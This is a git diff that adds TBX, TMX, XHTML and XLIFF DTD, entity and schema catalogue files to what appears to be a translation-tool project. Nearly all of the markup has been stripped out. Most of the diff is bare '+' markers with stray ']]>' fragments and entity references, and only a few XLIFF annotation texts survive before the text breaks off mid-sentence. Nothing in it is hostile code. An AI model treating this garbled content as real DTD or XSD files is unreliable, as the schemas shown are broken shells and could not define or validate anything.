+ + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXcdv04.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXcdv04.dtd new file mode 100644 index 0000000..68fc59d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXcdv04.dtd @@ -0,0 +1,342 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXcsV02.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXcsV02.xsd new file mode 100644 index 0000000..051c2db --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXcsV02.xsd @@ -0,0 +1,678 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXdsV1-0.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXdsV1-0.xml new file mode 100644 index 0000000..d17c11f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tbx/TBXdsV1-0.xml @@ -0,0 +1,242 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx11.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx11.dtd new file mode 100644 index 0000000..f2b3b90 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx11.dtd @@ -0,0 +1,216 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx12.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx12.dtd new file mode 100644 index 0000000..622247b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx12.dtd @@ -0,0 +1,246 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx13.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx13.dtd new file mode 100644 index 0000000..6ee3eaa --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx13.dtd @@ -0,0 +1,267 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx14.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx14.dtd new file mode 100644 index 0000000..b2737ff --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/tmx/tmx14.dtd @@ -0,0 +1,282 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-lat1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-lat1.ent new file mode 100644 index 0000000..cbb56c6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-lat1.ent @@ -0,0 +1,196 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-special.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-special.ent new file mode 100644 index 0000000..7e087af --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-special.ent @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-symbol.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-symbol.ent new file mode 100644 index 0000000..5870894 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml-symbol.ent @@ -0,0 +1,242 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-frameset.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-frameset.dtd new file mode 100644 index 0000000..472ee7a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-frameset.dtd @@ -0,0 +1,1225 @@ + + + + + +%HTMLlat1; + + +%HTMLsymbol; + + +%HTMLspecial; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-strict.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-strict.dtd new file mode 100644 index 0000000..a09371d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-strict.dtd @@ -0,0 +1,978 @@ + + + + + +%HTMLlat1; + + +%HTMLsymbol; + + +%HTMLspecial; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-transitional.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-transitional.dtd new file mode 100644 index 0000000..ebc6de4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.0/xhtml1-transitional.dtd @@ -0,0 +1,1196 @@ + + + + + +%HTMLlat1; + + +%HTMLsymbol; + + +%HTMLspecial; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml-inlstyle-1.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml-inlstyle-1.mod new file mode 100644 index 0000000..b6000b7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml-inlstyle-1.mod @@ -0,0 +1,34 @@ + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11-flat.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11-flat.dtd new file mode 100644 index 0000000..a8e7106 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11-flat.dtd @@ -0,0 +1,4513 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + +%xhtml-arch.mod;]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + +]]> + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + +]]> + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + +]]> + + + +]]> + + + + + + + + + + + + + +]]> + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + +]]> + + + + +]]> +]]> + + + + + + +]]> +]]> + + + + + + + + + + +]]> + + + + + +]]> + + + + + +]]> +]]> + + + + + +]]> + + + + + +]]> + + + + + +]]> +]]> +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + +]]> + + + + + + +]]> + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + +]]> + + + + +%xhtml-legacy.mod;]]> + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + + + + + +]]> + + + + + + +]]> + + + + + + + +]]> + + + +]]> + + + + + + + +]]> + + + + + + + +]]> + + +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11-model-1.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11-model-1.mod new file mode 100644 index 0000000..5e5b131 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11-model-1.mod @@ -0,0 +1,250 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11.dtd new file mode 100644 index 0000000..3cd8de4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xhtml1.1/xhtml11.dtd @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + +%xhtml-inlstyle.mod;]]> + + + + + + + +%xhtml-framework.mod;]]> + + + + +]]> + + + + +%xhtml-text.mod;]]> + + + + +%xhtml-hypertext.mod;]]> + + + + +%xhtml-list.mod;]]> + + + + + + +%xhtml-edit.mod;]]> + + + + +%xhtml-bdo.mod;]]> + + + + + + +%xhtml-ruby.mod;]]> + + + + +%xhtml-pres.mod;]]> + + + + +%xhtml-link.mod;]]> + + + + +%xhtml-meta.mod;]]> + + + + +%xhtml-base.mod;]]> + + + + +%xhtml-script.mod;]]> + + + + +%xhtml-style.mod;]]> + + + + +%xhtml-image.mod;]]> + + + + +%xhtml-csismap.mod;]]> + + + + +%xhtml-ssismap.mod;]]> + + + + +%xhtml-param.mod;]]> + + + + +%xhtml-object.mod;]]> + + + + +%xhtml-table.mod;]]> + + + + +%xhtml-form.mod;]]> + + + + +%xhtml-legacy.mod;]]> + + + + +%xhtml-struct.mod;]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.1.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.1.xsd new file mode 100644 index 0000000..1bc2650 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.1.xsd @@ -0,0 +1,2081 @@ + + + + + + + + + + + + + Values for the attribute 'context-type'. + + + + + Indicates a database content. + + + + + Indicates the content of an element within an XML document. + + + + + Indicates the name of an element within an XML document. + + + + + Indicates the line number from the sourcefile (see context-type="sourcefile") where the <source> is found. + + + + + Indicates a the number of parameters contained within the <source>. + + + + + Indicates notes pertaining to the parameters in the <source>. + + + + + Indicates the content of a record within a database. + + + + + Indicates the name of a record within a database. + + + + + Indicates the original source file in the case that multiple files are merged to form the original file from which the XLIFF file is created. This differs from the original <file> attribute in that this sourcefile is one of many that make up that file. + + + + + + + Values for the attribute 'count-type'. + + + + + Indicates the count units are items that are used X times in a certain context; +example: this is a reusable text unit which is used 42 times in other texts. + + + + + Indicates the count units are translation units existing already in the same document. + + + + + Indicates a total count. + + + + + + + Values for the attribute 'ctype' when used other elements than <ph> or <x>. + + + + + Indicates a run of bolded text. + + + + + Indicates a run of text in italics. + + + + + Indicates a run of underlined text. + + + + + Indicates a run of hyper-text. + + + + + + + Values for the attribute 'ctype' when used with <ph> or <x>. + + + + + Indicates a inline image. + + + + + Indicates a page break. + + + + + Indicates a line break. + + + + + + + + + + + + Values for the attribute 